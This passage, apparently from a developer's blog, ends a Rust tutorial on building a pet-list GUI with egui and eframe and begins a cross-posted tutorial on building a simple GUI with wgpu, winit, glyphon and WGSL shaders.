                Event::SetPets(pets) => {
                    if let Some(ref selected_pet) = self.app_state.selected_pet {
                        if !pets.iter().any(|p| p.id == selected_pet.id) {
                            self.app_state.selected_pet = None;
                        }
                    }
                    self.app_state.pets = pets;
                }
                _ => (),
            };
        }
    }

Again, we iterate over all incoming events and match on them. For each event, we update the AppState. The most interesting implementation is in SetPets, where, if the previously selected pet is not part of the updated list anymore, we reset the selected pet. This is relevant since if we deleted a pet and did not do this, the detail view would still show the deleted pet.

OK, now we have the data model, the image fetching logic, and the event handling mechanism, and we can finally wire everything up and build our GUI.

Building the GUI

The structure of the user interface is such that there is a list-panel on the left, which also holds the button to add a new pet, as well as a form to add new pets. Upon clicking on a pet in the list, the details of that pet and a random image for the pet are shown in the detail-panel on the right side of the UI.

In the end, it should look roughly like this:

Let’s start with the data types we need:

struct PetApp {
    app_state: AppState,
    background_event_sender: Sender<Event>,
    event_receiver: Receiver<Event>,
    db_con: Arc<Mutex<sqlite::Connection>>,
}

#[derive(Debug, Clone)]
struct AppState {
    selected_pet: Option<Pet>,
    pets: Vec<Pet>,
    pet_image: Option<String>,
    add_form: AddForm,
}

#[derive(Debug, Clone)]
struct AddForm {
    show: bool,
    name: String,
    age: String,
    kind: String,
}

We define the PetApp, which is the struct holding all the data for the application. It holds the AppState, which is a representation of the current application state, for example, which pets are listed, which one is selected etc., as well as the AddForm state, which represents the current state of the form for adding a new pet.

PetApp also contains the shared database connection, the sender end for the background thread, as well as the receiver end for the event channel for the rendering thread, so we can run the event handling mechanism we implemented above.

Next, we implement the PetApp::new method, so we can initialize our application:

impl PetApp {
    fn new(
        background_event_sender: Sender<Event>,
        event_receiver: Receiver<Event>,
        db_con: sqlite::Connection,
    ) -> Result<Box<Self>> {
        let db_con = Arc::new(Mutex::new(db_con));
        let pets = get_pets_from_db(db_con.clone())?;
        Ok(Box::new(Self {
            app_state: AppState {
                selected_pet: None,
                pets,
                pet_image: None,
                add_form: AddForm {
                    show: false,
                    name: String::default(),
                    age: String::default(),
                    kind: String::default(),
                },
            },
            background_event_sender,
            event_receiver,
            db_con,
        }))
    }
}

We wrap the incoming sqlite::Connection inside an Arc<Mutex<>> so we can safely share it across threads and fetch the initial list of pets, setting it in the AppState. The rest of the state is simply initialized to a safe default.

We return a Result<Box<PetApp>> since that is what eframe expects when creating a new native app, which we’ll look at next within main:

fn main() -> Result<()> {
    ...
    let options = eframe::NativeOptions {
        viewport: egui::ViewportBuilder::default()
            .with_always_on_top()
            .with_inner_size([640.0, 480.0]),
        ..Default::default()
    };
    ...
    eframe::run_native(
        "PetApp",
        options,
        Box::new(|context| {
            egui_extras::install_image_loaders(&context.egui_ctx);
            Ok(PetApp::new(
                background_event_sender,
                event_receiver,
                db_con,
            )?)
        }),
    )
    .map_err(|e| anyhow!("eframe error: {}", e))
}

We define some application options, such as the window size, and then use eframe::run_native to initialize our GUI application.

One thing to mention here are the egui_extras loaders, which we install during application creation. These are helpers which make it easy to dynamically load images either from disk or from a URL within egui. This functionality can be customized, but the default is quite useful, showing a loading indicator while fetching the image and then displaying it.

Since we can only use types that implement the eframe::App trait within eframe::run_native, we’ll have to implement this trait.

The implementation consists only of the update function, which has the following signature:

fn update(&mut self, ctx: &eframe::egui::Context, _frame: &mut eframe::Frame)`

It takes a Context and a Frame, which we won’t need. But you probably can remember the Context, since that’s what we used earlier to trigger a repaint in the rendering thread. So anytime we call context.request_repaint(), this update function is called again:

impl eframe::App for PetApp {
    fn update(&mut self, ctx: &eframe::egui::Context, _frame: &mut eframe::Frame) {
        self.handle_gui_events();

        egui::CentralPanel::default().show(ctx, |ui| {
            egui::SidePanel::left("left panel")
                .resizable(false)
                .default_width(200.0)
                .show_inside(ui, |ui| {

We start the implementation of update by calling our handle_gui_events method, which we implemented above. This checks the receiving part of the channel for events and applies them, which ensures that we’ll have an up-to-date AppState going into our rendering phase.

As mentioned above, with egui being an immediate mode GUI framework, anything we define here gets rendered on every frame. So if we make a change here in the AppState due to an event being sent, it immediately gets displayed in the UI without us having to juggle and update any components.

Then, we define the overall CentralPanel and inside it start by rendering our left list-panel, which we’ll set to width 200.0 and not resizeable.

Within this panel, we’ll show the Pets heading, a separator, the Add new Pet button and, if the button was pressed, the form to add a new pet. Below it, another separator and the list of pets:

    ui.vertical_centered(|ui| {
        ui.heading("Pets");
        ui.separator();
        if ui.button("Add new Pet").clicked() {
            self.app_state.add_form.show = !self.app_state.add_form.show;
        }
        if self.app_state.add_form.show {
            ui.separator();

            ui.vertical_centered(|ui| {
                ui.horizontal(|ui| {
                    ui.vertical(|ui| {
                        ui.label("name:");
                        ui.label("age");
                        ui.label("kind");
                    });
                    ui.end_row();
                    ui.vertical(|ui| {
                        ui.text_edit_singleline(&mut self.app_state.add_form.name);
                        ui.text_edit_singleline(&mut self.app_state.add_form.age);
                        ui.text_edit_singleline(&mut self.app_state.add_form.kind);
                    });
                });

                if ui.button("Submit").clicked() {
                    let add_form = &mut self.app_state.add_form;
                    let age = add_form.age.parse::<i64>().unwrap_or(0);
                    let kind = match add_form.kind.as_str() {
                        "cat" => PetKind(String::from("cat")),
                        _ => PetKind(String::from("dog")),
                    };
                    let name = add_form.name.to_owned();
                    if !name.is_empty() && age > 0 {
                        let _ = self.background_event_sender.send(
                            Event::InsertPetToDB(
                                ctx.clone(),
                                self.db_con.clone(),
                                Pet {
                                    id: -1,
                                    name,
                                    age,
                                    kind: kind.clone(),
                                },
                            ),
                        );
                        let _ = self
                            .background_event_sender
                            .send(Event::GetPetImage(ctx.clone(), kind));
                        add_form.name = String::default();
                        add_form.age = String::default();
                        add_form.kind = String::default();
                    }
                }
            });
        }

        ui.separator();
        self.app_state.pets.iter().for_each(|pet| {
            if ui
                .selectable_value(
                    &mut self.app_state.selected_pet,
                    Some(pet.to_owned()),
                    pet.name.clone(),
                )
                .changed()
            {
                let _ = self.background_event_sender.send(Event::GetPetFromDB(
                    ctx.clone(),
                    self.db_con.clone(),
                    pet.id,
                ));
                let _ = self
                    .background_event_sender
                    .send(Event::GetPetImage(ctx.clone(), pet.kind.clone()));
            }
        });
    });
});

The way we handle interactions in immediate-mode GUIs is that elements, such as buttons, return their state. For example, if the button was clicked in a frame, the clicked() method returns true. This is very different from retained mode GUIs, where we’d attach an event-listener, which is then asynchronously called.

For state-based changes, we can simply use ifs, such as showing the form for adding pets only if the AppState flag for showing it is true and not even rendering it otherwise.

The form-rendering is rather simple, and upon clicking Submit, we do some very basic validation. If the data is fine, we trigger an event to inform the background thread to add a new pet to the database.

In a real implementation, we would of course add some error handling here, showing the user a nicely formatted error message if they insert an invalid value for the age, for example.

Below that, we simply iterate over the list of pets and render a select field for it. The handling if one of the pets is clicked is handled via the changed() method on selectable_value, which gives us the information that the value has changed and enables us to trigger an event to the background thread to fetch the data, update our AppState, and fetch a new image.

Composing the UI is also very intuitive within egui. We can next the different structuring elements arbitrarily, adding horizontal and vertical elements as needed. egui features a wide variety of different widgets, which you can check out in their demos. But as mentioned above, it’s also possible to build entirely custom widgets using their rendering API.

With our list panel in place, we can now implement our details panel. This part is a bit simpler because it’s not that interactive.

            egui::CentralPanel::default().show_inside(ui, |ui| {
                ui.vertical_centered(|ui| {
                    ui.heading("Details");
                    if let Some(pet) = &self.app_state.selected_pet {
                        ui.vertical(|ui| {
                            ui.horizontal(|ui| {
                                if ui.button("Delete").clicked() {
                                    let _ =
                                        self.background_event_sender.send(Event::DeletePetFromDB(
                                            ctx.clone(),
                                            self.db_con.clone(),
                                            pet.id,
                                        ));
                                }
                            });
                            ui.separator();
                            ui.vertical(|ui| {
                                ui.horizontal(|ui| {
                                    ui.vertical(|ui| {
                                        ui.label("id:");
                                        ui.label("name:");
                                        ui.label("age");
                                        ui.label("kind");
                                    });
                                    ui.end_row();
                                    ui.vertical(|ui| {
                                        ui.label(pet.id.to_string());
                                        ui.label(&pet.name);
                                        ui.label(pet.age.to_string());
                                        ui.label(&pet.kind.0);
                                    });
                                });
                                ui.separator();
                                if let Some(ref pet_image) = self.app_state.pet_image {
                                    ui.add(egui::Image::from_uri(pet_image).max_width(200.0));
                                }
                            });
                        });
                    } else {
                        ui.label("No pet selected.");
                    }
                });
            });
        });
    }
}

We render the Details heading and the delete button. If the button is clicked, we send the deletion event to the background thread. Then we simply render the details of the pet and finally use egui::image::from_uri, which uses the above mentioned egui_extras to fetch the image from the given URL, showing a loading indicator in the meantime.

If no pet is selected, we simply show a label indicating this.

That’s it for building the UI. Pretty simple, right?

One can imagine building a complex, nested application with these primitives, structuring different parts in different modules and putting it together at the edges of interactivity in the user flow.

This way of rendering makes egui a breeze to work with and to get started with.

Let’s see if what we implemented actually works.

Testing

We can run the app using RUST_LOG=info cargo run, which will open a GUI that looks like this:

We can select one of the pets in the initial state, and its details will be shown on the right. You will also see a short loading indicator where a random image of a cat will appear after a short while. This is the default behavior of the above mentioned image loading functionality within egui_extras:

The same works for the dog in the initial state where we fetch a random dog image from a different site:

Next, we can try to add a new pet to the list using the button, and the form it shows on click in the navigation panel on the left:

And once we hit Submit, the form is reset, and a new pet is added to the list and navigated to:

Nice, it works!

We could use Context::set_style as mentioned in the beginning to fully customize the application in terms of fonts, colors, and the like, but in my opinion, even the default style looks quite nice, especially when we’re just aiming to build an example app.

You can find the full code for this example on GitHub.

Conclusion

In this article, we took a look at how to build efficient cross-platform immediate-mode GUI applications using egui and eframe in Rust.

Even though egui is a comparatively new library for building GUIs, the ecosystem around it is great and it’s maturing very quickly. Getting started is a breeze because of the good docs and the ample demo applications, each of which you can check out the source code and learn from.

At this point, if I were to build a GUI application using Rust, egui would be my first choice to do so.

Leverage Rust and wgpu for effective cross-platform graphics

11 Jun 2024 00:00 +0000

This post was originally posted on the LogRocket blog on 28.05.2024 and was cross-posted here by the author.

Understanding how to work directly with the new WebGPU standard requires more knowledge than higher-level graphics libraries that abstract complex development concepts for easier usage. However, this knowledge also comes with benefits like a higher level of control, better cross-platform performance, and more efficient bug-solving.

This article will showcase how to use the w gpu crate to set up a GPU-based rendering pipeline and how to construct a basic user interface with it. Whether your project has intensive graphics processing needs or not, this step-by-step tutorial can offer useful and interesting knowledge to help you develop more effectively.

What is wgpu?

wpgu is a portable graphics library written in Rust. It’s based on the new WebGPU s tandard for the web. This new standard, which is currently still being worked on, is essentially for exposing an API to interact with GPUs for both graphics and computation on the web.

However, besides the possibility to target WebGPU — and WebGL, for compatibility reasons — the wgpu crate has several so-called backends for native graphics APIs such as Vulkan, DirectX 12, or Metal.

But why would we want to dip so far down the abstraction stack, directly to the GPU? Isn’t that too low-level to be practically useful? Shouldn’t we use a higher level library to abstract these details away?

Well, this is a widely held sentiment, but I disagree. In my experience, having an understanding of how things work on a fundamental level can inform and guide how to properly use the higher level abstractions.

Sure, you won’t necessarily build a high-fidelity Web GUI in a way where you write the code for each single triangle on the screen. However, knowing how whichever abstraction you use translates into the things that pop up on the screen can help you solve problems, find bugs, and come up with a coherent architecture for the system you’re building.

Also, for some use cases, you might be forced to dip down to the lower levels in hot code paths for performance reasons. If you already have a mental model for what these lower levels look like and how they work, this increased comfort can help tremendously, because you simply won’t be afraid to dip down and touch some of the lower level parts.

So, let’s dip our feet into the world of GPU programming. In this post, we’ll leverage wgpu to build a very simple GUI application. Our GUI app will run natively on the mainstream platforms, as well as on the web, compiled to WebAssembly (Wasm).

The wgpu setup and structure in this tutorial is based on the fantastic Learn Wgpu beginner tutorials. If you’re interested to learn the absolute basics and to dive deeper into wgpu, I would recommend you go through the whole tutorial and to also check out this collection of resources on wgpu.

Let’s get started!

Setting up Rust to work with wgpu

To follow along, all you need is a recent Rust installation. The latest version at the time of writing is 1.77.0.

First, create a new Rust project:

cargo new rust-wgpu-gui-example
cd rust-wgpu-gui-example

Next, edit the Cargo.toml file and add the dependencies you’ll need:

[lib]
crate-type = ["cdylib", "rlib"]

[dependencies]
winit = "0.29.15"
wgpu = "0.19.3"
env_logger = "0.11.0"
log = "0.4.20"
pollster = "0.3.0"
bytemuck = { version = "1.14.3", features = ["derive"] }
glyphon = "0.5.0"
cfg-if = "1"

[target.'cfg(target_arch = "wasm32")'.dependencies]
console_error_panic_hook = "0.1.6"
console_log = "1.0"
wgpu = { version = "0.19.3", features = ["webgl"]}
wasm-bindgen = "0.2"
wasm-bindgen-futures = "0.4.30"
web-time = "1.1.0"
web-sys = { version = "0.3", features = [
    "Document",
    "Window",
    "Element",
    "HtmlCanvasElement",
]}

The most important libraries we use:

wgpu for graphics
Winit for window handling, which in this case includes creating a new window as well as handling mouse, keyboard, and other inputs
glyphon to help us render text
bytemuck for byte-level casts and conversions so we have the correct data layout to send towards the GPU

We also add some libraries for logging and the Pollster async runtime, which we’ll go into a bit later.

Below the normal dependencies, we add some dependencies specifically for the wasm32 target, so for compiling for the web. For this, we need a different logging stack, as well as a different library for handling time.

We’ll also add the webgl feature for wgpu, since we’ll use that as a graphics backend. Why aren’t we using WebGPU, you ask? Well, that’s because browser implementations are simply not stable yet.

Besides that, we need wasm-bindgen and web-sys to be able to conveniently build a version of our app that will work on the web.

Next, let’s look at the file structure of the app we’re going to build.

File structure of our simple GUI Rust app

Since we’re going to build a simple GUI app, we’ll create several components. These components will make up the GUI and contain the logic for wiring the whole thing together in one central place — the lib.rs file:

src/
- fonts/ // custom font
  - emoji.ttf
  - font.ttf
- main.rs // entry point for the native application
- lib.rs // wgpu setup and GUI logic
- button.rs // Button component
- rectangle.rs // Rectangle primitive
- shader.wgsl // Shader code
- text.rs // Text primitive
- text_field.rs // TextField component
Cargo.toml
index.html

We add the custom font and emoji font we’re going to use for the GUI so we can use the same font on every platform, including the web. Then, we create a file for each GUI component and primitive we’re going to build, a shader file (more on this later), and an index.html file to contain the web version of the app.

Now that we have a high-level overview of the components of the app, let’s look at the fundamental data types we’ll need.

The Rust types used in our wgpu project

We’ll go through the most important types we’ll use in this app one by one. This will add another layer of understanding and overview after the file layout.

First, let’s look at some simple types, which represent our GUI components:

pub struct Id(usize);

pub enum Component {
    Button(Id, button::Button),
    TextField(Id, text_field::TextField),
    Text(Id, text::Text),
}

We create an enum, with different types of components for the three different GUI components we’ll build:

Button: a clickable button, with text inside it, that changes its color on hover and click
TextField: an interactive (but limited) text field where we can add and then remove text, which changes its color on hover
Text: a simple, immutable text field

Each of these components gets an Id, so we can reference a component by its Id when we get relevant input.

Fundamentally, these components rely on the glyphon text rendering library and on our Rectangle primitive in the src/rectangle.rs file:

#[derive(Copy, Clone, Debug)]
pub struct RectPos {
    pub top: u32,
    pub left: u32,
    pub bottom: u32,
    pub right: u32,
}

#[derive(Debug, Clone)]
pub struct Rectangle {
    pub position: RectPos,
    color: [f32; 3],
    color_active: [f32; 3],
    border_color: [f32; 3],
    border_color_active: [f32; 3],
}

Here, we define:

A RectPos type, which holds the outer pixel coordinates of a rectangle
A Rectangle type, which holds this position as well as color values for its passive and active states

Now, let’s look in more detail at the component types.

In the src/text.rs file, we have the text::Text type for our Text component:

#[derive(Debug)]
pub struct TextWidth {
    pub width: f32,
    pub buffer_width: f32,
}

#[derive(Debug)]
pub struct Text {
    buffer: Buffer,
    rect_pos: RectPos,
    color: Color,
    color_active: Color,
}

This component contains a glyphon::Buffer, which holds the current text, a previously mentioned RectPos that indicates the outer coordinates of the text area, and a color value.

We also create a TextWidth helper type, since we’ll later have to calculate how wide a piece of text within a TextField is. This will allow us to scroll to the right if the text is larger than the containing text field.

Let’s look at this TextField next in the src/text_field.rs file:

#[derive(Debug)]
pub struct TextField {
    pub text: Text,
    pub rectangle: Rectangle,
    pub content: String,
    pub active: bool,
    pub last_cursor_blink: Option<SystemTime>,
}

Here, we simply have a text field component composed of a Text component and our Rectangle primitive. We also add fields for the internal component state:

The entered text as content
The active state of the component
The last_cursor_blink timestamp, which we’ll use later to implement a blinking cursor

Finally, let’s check out the Button component in the src/button.rs file:

pub struct Button {
    pub text: Text,
    pub rectangle: Rectangle,
    on_click: Box<dyn Fn()>,
}

Again, this component consists of a Text and Rectangle, but it also has an on_click handler attached to it. This is implemented as a Box<dyn Fn()> so we can attach an arbitrary function to be called when a button is clicked.

That’s it for the data types of the components we’ll build. Next, let’s look at our application State:

enum GUIEvent {
    SuccessEvent(Id),
}

struct InputState {
    clicked: bool,
    mouse_coords: PhysicalPosition<f64>,
}

struct State<'window> {
    surface: wgpu::Surface<'window>,
    device: wgpu::Device,
    queue: wgpu::Queue,
    config: wgpu::SurfaceConfiguration,
    size: winit::dpi::PhysicalSize<u32>,
    window: Window,
    render_pipeline: wgpu::RenderPipeline,
    text_renderer: TextRenderer,
    text_atlas: TextAtlas,
    text_cache: SwashCache,
    font_system: FontSystem,
    components: Vec<Component>,
    input_state: InputState,
}

First, we define a GUIEvent enum with a SuccessEvent variant. This is our custom user event, which we’ll use within Winit to send and react to custom events using Winit’s own event loop.

Then we define our InputState, which holds the current mouse position, as well as if the mouse is currently being clicked. We’ll see why this is relevant later when we implement input handling.

We also define the heart of our application: the application State. It uses the 'window lifetime, which means it lives exactly as long as the application window lives for. We need this behavior because the wgpu::Surface also has this lifetime constraint.

The State type has several wgpu types such as Surface, Device etc., which we’ll talk about later on, when we define the rendering pipeline, since these are all part of this pipeline. We also save the window config and size in State, since these things might change while the application runs — e.g., because of a resize.

For text rendering, we keep some glyphon types, such as TextRenderer, TextAtlas, and the FontSystem in State. We’ll need them for the text rendering pipeline. Also, to be able to react to input properly, we keep the above defined InputState and a lift of the active components to be rendered inside the app State.

Confused yet? Don’t worry, the State and its fields will become more clear as we progress through implementing the app and reference the different fields we defined here.

Finally, let’s look at the Vertex type, which represents a point in 3D space that we want to render:

#[repr(C)]
#[derive(Clone, Debug, Copy, bytemuck::Pod, bytemuck::Zeroable)]
pub struct Vertex {
    position: [f32; 3],
    color: [f32; 3],
    rect: [f32; 4],
    border_color: [f32; 3],
}

Since we’re going to render our little GUI app using the GPU, we’ll need to implement shader programs to tell the GPU which operations to execute on the set of vertices we send to it to make them appear on the screen as we would like them to. In our case, we specifically need:

A vertex shader indicating where to render a pixel
A fragment shader indicating the color in which to render a pixel

We’ll explore more on those later. For now, let’s get back to our Vertex type.

A Vertex has a position, which are its x, y and z coordinates. However, since we’re building a 2D application, the z coordinate will always be zero (0.0).

For each vertex, we also define a color and a border color, which informs the fragment shader, which color to set for the pixels we want to render based on our vertices.

We also add a rect field with four points in it to each vertex. We’ll use this to help detect where the border of a rectangle is located so we can color it differently — in our case, using the border_color value.

When we look at the fragment shader later, we’ll see how this is implemented. Note that this is not necessarily the most efficient method or best practice to implement this behavior, but rather a very simple one. Since we’re not going to go into significant depth regarding shader implementations in this tutorial, it’ll suffice for our simple example.

As you can see, we use repr(C) as well as two bytemuck traits called Pod and Zeroable. What does that mean? Well, we’ll send this Vertex type directly to the shader programs, so we need to uphold some guarantees regarding its layout in memory:

Pod means it can be interpreted as a &[u8]
Zeroable means the memory can be zeroed
repr(C) means the order and size of the fields should be kept exactly as they would be in C, without the compiler interfering. This is important for compatibility and something you’ll often see when interfacing with C libraries, for example

There’s one more thing we need to define for Vertex — the wgpu::VertexBufferLayout. Since we’re going to send a bunch of these vertices over to the GPU to be manipulated using our vertex and fragment shaders, we need to tell our rendering pipeline how to interpret this data on a memory level:

impl Vertex {
    fn desc() -> wgpu::VertexBufferLayout<'static> {
        wgpu::VertexBufferLayout {
            array_stride: std::mem::size_of::<Vertex>() as wgpu::BufferAddress,
            step_mode: wgpu::VertexStepMode::Vertex,
            attributes: &[
                wgpu::VertexAttribute {
                    offset: 0,
                    shader_location: 0,
                    format: wgpu::VertexFormat::Float32x3,
                },
                wgpu::VertexAttribute {
                    offset: std::mem::size_of::<[f32; 3]>() as wgpu::BufferAddress,
                    shader_location: 1,
                    format: wgpu::VertexFormat::Float32x3,
                },
                wgpu::VertexAttribute {
                    offset: std::mem::size_of::<[f32; 6]>() as wgpu::BufferAddress,
                    shader_location: 2,
                    format: wgpu::VertexFormat::Float32x4,
                },
                wgpu::VertexAttribute {
                    offset: std::mem::size_of::<[f32; 10]>() as wgpu::BufferAddress,
                    shader_location: 3,
                    format: wgpu::VertexFormat::Float32x3,
                },
            ],
        }
    }
}

That looks complicated, but it’s really not — just read through it slowly, line by line. We’re basically just telling our rendering pipeline how big the fields are on our Vertex struct and at what offset in memory they start.

For example, our position was three f23 values, starting at the beginning — that is, offset: 0. The shader_location is how we can reference this value in the shader program later on. You’ll see this line of code:

@location(0) position: vec3<f32>

And we simply do that for all four fields on Vertex as well as for every field we add that we want to access in our shaders.

If the Vertex type and its layout description look scary to you, don’t worry — that’s normal. They’re taken from the official examples and tutorial, which you can use to gain a better understanding.

With the fundamental data types out of the way, let’s move on to setting up our wgpu rendering pipeline.

Setting up the wgpu rendering pipeline

A rendering pipeline defines all the components and steps needed to render something using the GPU. That’s a bit abstract, so let’s create the pipeline and then hopefully, it’ll become more clear.

Because some of the wgpu setup is asynchronous, we need an async runtime to run it. We’ll use pollster for this purpose. In main.rs, the only thing we’ll do is call run() within the lib.rs file:

use rust_wgpu_gui_example::run;

fn main() {
    pollster::block_on(run());
}

In this run() function, we do some initial setup, including initializing the logger and the winit event loop as well as spawning an winit window to render our GUI into.

We create the event_loop with our custom GUIEvent we defined above, which means we can use this event to send custom UserEvents. Then, we call run_app:

pub async fn run() {
    env_logger::init();

    let event_loop = EventLoopBuilder::<GUIEvent>::with_user_event()
        .build()
        .unwrap();
        
    let window = WindowBuilder::new().build(&event_loop).unwrap();
    run_app(event_loop, window).await;
}

In the run_app() function, the first thing we do is to initialize our application State:

async fn run_app(event_loop: EventLoop<GUIEvent>, window: Window) {
    let mut state = State::new(window, event_loop.create_proxy()).await;

This is also where we set up the whole wgpu rendering pipeline. The State::new() function is rather long, so we’ll go through it step-by-step:

impl<'window> State<'window> {
    async fn new(window: Window, event_loop_proxy: EventLoopProxy<GUIEvent>) -> State<'window> {
        let size = window.inner_size();
        let instance = wgpu::Instance::default();
        let limits = wgpu::Limits::default();

        let mouse_coords = PhysicalPosition { x: 0.0, y: 0.0 };
        let input_state = InputState {
            clicked: false,
            mouse_coords,
        };
        ...

First, we get the window’s inner_size, which we need to tell wgpu how big the space it can draw on is.

We use the default wgpu configuration limits (e.g. texture, size, etc.) and create a default wgpu Instance, which is a handle to the underlying GPU. The GPU will automatically select a fitting Backend based on the existing hardware on the system, such as metal for mac OS or webgl/webgpu for Wasm.

Then, we initialize the mouse coordinates and some initial input state so we can track mouse movements and clicks while the app runs.

Next, we create our wgpu::Surface, the screen surface to render into:

let surface = unsafe {
    instance.create_surface_unsafe(wgpu::SurfaceTargetUnsafe::from_window(&window).unwrap())
}
.expect("can create surface");

In the current version of wgpu, this is an unsafe operation if we want to have a raw window handle, which we do in this case.

Next, we create a wgpu::adapter, which is a handle for the actual graphics card. We’ll just select the default from the GPU instance we created above and our created surface:

let adapter = instance
    .request_adapter(&wgpu::RequestAdapterOptionsBase {
        power_preference: wgpu::PowerPreference::default(),
        force_fallback_adapter: false,
        compatible_surface: Some(&surface),
    })
    .await
    .expect("can create adapter");

Then, we define a rendering device and a rendering queue for our adapter. Here, we can specify some limits and features. This will become relevant later when we make some changes for the web version of the application:

let (device, queue) = adapter
    .request_device(
        &wgpu::DeviceDescriptor {
            label: None,
            required_features: wgpu::Features::empty(),
            required_limits: limits,
        },
        None,
    )
    .await
    .expect("can create a new device");

Finally, we define a configuration for our surface, supplying the adapter and the size of the window. There’s a lot more we could specify here, but we’ll stick to defaults for this example:

let config = surface
    .get_default_config(&adapter, size.width, size.height)
    .unwrap();

surface.configure(&device, &config);

Before we come to our shader setup, we’ll set up what we need in terms of text rendering using the glyphon crate:

let mut font_system =
    FontSystem::new_with_locale_and_db("en-US".into(), glyphon::fontdb::Database::new());
let font = include_bytes!("./fonts/font.ttf");
let emoji = include_bytes!("./fonts/emoji.ttf");
font_system.db_mut().load_font_data(font.to_vec());
font_system.db_mut().load_font_data(emoji.to_vec());

let text_cache = SwashCache::new();
let mut text_atlas = TextAtlas::new(&device, &queue, config.format);
let text_renderer = TextRenderer::new(
    &mut text_atlas,
    &device,
    wgpu::MultisampleState::default(),
    None,
);

We start by instantiating a font_system with the two fonts we added to the project. We initialize the text_cache, text_atlas, and text_renderer with the wgpu rendering pipeline parts we just created. This ensures that we use the same rendering pipeline to render the text as we do for the rest of the application.

Now, let’s create the rendering pipeline using wgpu, starting with our shader programs:

let shader = device.create_shader_module(wgpu::ShaderModuleDescriptor {
    label: None,
    source: wgpu::ShaderSource::Wgsl(include_str!("shader.wgsl").into()),
});

We create a shader module for our device and specify the shader.wgsl file to be used here. Within shader.wgsl, we implement both our vertex shader and our fragment shader.

Let’s look at the vertex shader first. It’s responsible for where the pixels should be drawn, corresponding to the vertices we send over:

struct VertexInput {
    @location(0) position: vec3<f32>,
    @location(1) color: vec3<f32>,
    @location(2) rect: vec4<f32>,
    @location(3) border_color: vec3<f32>,
}

struct VertexOutput {
    @builtin(position) clip_position: vec4<f32>,
    @location(0) color: vec3<f32>,
    @location(1) rect: vec4<f32>,
    @location(2) border_color: vec3<f32>,
}

@vertex
fn vertex(
    model: VertexInput,
) -> VertexOutput {
    var out: VertexOutput;

    out.color = model.color;
    out.clip_position = vec4<f32>(model.position, 1.0);
    out.rect = model.rect;
    out.border_color = model.border_color;

    return out;
}

If you look at VertexInput, you might recognize the VertexBufferLayout we defined above in terms of structure. We needed it to be able to get our Vertex from our application through the pipeline into these shaders.

We also define VertexOutput, which is the data that will be returned from the vertex shader and passed on to the fragment shader. It’s quite similar, since it just passes on the color, border_color, and rect fields. However, it also transforms the input position to clip coordinates, which the GPU needs to calculate which vertices to render or not.

The fragment shader, which we use to figure out the color of each pixel, has some more interesting logic in our case. Let’s look at it:

@fragment
fn fragment(in: VertexOutput) -> @location(0) vec4<f32> {
    var border_width: f32 = 2.0;
    var top: f32 = in.rect[0];
    var left: f32 = in.rect[1];
    var bottom: f32 = in.rect[2];
    var right: f32 = in.rect[3];

    if (
    ((in.clip_position.x > left && in.clip_position.x < (left + border_width))
    || (in.clip_position.x > (right - border_width) && in.clip_position.x < right))
    || ((in.clip_position.y > top && in.clip_position.y < (top + border_width))
    || (in.clip_position.y > (bottom - border_width) && in.clip_position.y < bottom )))  {
        return vec4<f32>(in.border_color, 1.0);
    }
    return vec4<f32>(in.color, 1.0);
}

The fragment shader takes the VertexOutput as input and simply returns a color value for each pixel. For our purposes, we calculate this color value using our color and border_color value as well as the rect field, which represents the outer points of the rectangle these vertices are describing.

We basically check, if the current pixel is within the border_width of 2 pixels from the outer edges of the rectangle. If so, we color it using the border_color; otherwise, we color it using color.

Of course, for other shapes and other coloring algorithms, you might need another shader. A real application usually consists of several such shaders for each different effect you want to create in terms of position and color.

Let’s continue with our rendering pipeline:

let render_pipeline_layout =
    device.create_pipeline_layout(&wgpu::PipelineLayoutDescriptor {
        label: None,
        bind_group_layouts: &[],
        push_constant_ranges: &[],
    });

let render_pipeline = device.create_render_pipeline(&wgpu::RenderPipelineDescriptor {
    label: None,
    layout: Some(&render_pipeline_layout),
    vertex: wgpu::VertexState {
        module: &shader,
        entry_point: "vertex",
        buffers: &[Vertex::desc()],
    },
    fragment: Some(wgpu::FragmentState {
        module: &shader,
        entry_point: "fragment",
        targets: &[Some(wgpu::ColorTargetState {
            format: config.format,
            blend: Some(wgpu::BlendState::REPLACE),
            write_mask: wgpu::ColorWrites::ALL,
        })],
    }),
    primitive: wgpu::PrimitiveState {
        topology: wgpu::PrimitiveTopology::TriangleList,
        strip_index_format: None,
        front_face: wgpu::FrontFace::Ccw,
        cull_mode: Some(wgpu::Face::Back),
        unclipped_depth: false,
        polygon_mode: wgpu::PolygonMode::Fill,
        conservative: false,
    },
    multisample: wgpu::MultisampleState:default(),
    depth_stencil: None,
    multiview: None,
});

Here, we configure both our vertex and fragment shaders, as well as the layout of the rendering pipeline. We also see our VertexBufferLayout being configured to tell the rendering pipeline the layout of our vertices using Vertex::desc().

There are quite a few configuration options, most of which we just set to default values for rendering colored triangles. We won’t go into much detail, since our focus is what to do with such a render pipeline. If you’re interested in diving a bit deeper here, feel free to check the configuration options in the docs or in the Learn Wgpu Tutorial.

The final part of the State::new() function is to initialize an empty components list (later, we’ll create some components here) and return our newly created State:

    let components = vec![];

    Self {
        window,
        surface,
        device,
        queue,
        config,
        size,
        render_pipeline,
        text_atlas,
        text_cache,
        text_renderer,
        font_system,
        components,
        input_state,
    }
}

With our wgpu rendering pipeline and application state set up, let’s see how we can render things to the screen.

Rendering graphics to the screen

We’ll implement the render() function as part of State as well:

fn render(&mut self) -> Result<(), wgpu::SurfaceError> {
    let mut text_areas: Vec<TextArea> = Vec::new();
    let mut vertices: Vec<Vertex> = Vec::new();
    let mut indices: Vec<u16> = Vec::new();

    let mut num_vertices = 0;
    let mut num_indices = 0;
    
    ...collect vertices, indices and text areas of components...

First, we define some vectors to collect all text areas, vertices and indices within the components we want to render. We’ll add the code that does the collection once we implement our GUI components. But what does that mean exactly — to “collect” these things?

Well, a TextArea is actually a glyphon type, which the TextRenderer uses to render text to the screen. So, for each component we’ll render, we need to collect the component’s TextArea and pass it to the TextRenderer.

For the vertices and indices, each primitive we want to render to the screen consists of triangles, which consist of points in 3D space. So, we could have three vertices at three points in space with x, y, and z coordinates. Then, we tell wgpu that this is a triangle by providing a list of indices.

Let’s say we have the following three conceptual vertices in an array:

vertices = [
  Vertex { x: 0.0, y: 0.0, z: 0.0 },
  Vertex { x: 1.0, y: 0.0, z: 0.0 },
  Vertex { x: 1.0, y: -1.0, z: 0.0 },
]

These will form a triangle, if connected. But we need to provide the information regarding how to connect them. This is what the indices array is for:

indices = [0, 1, 2]

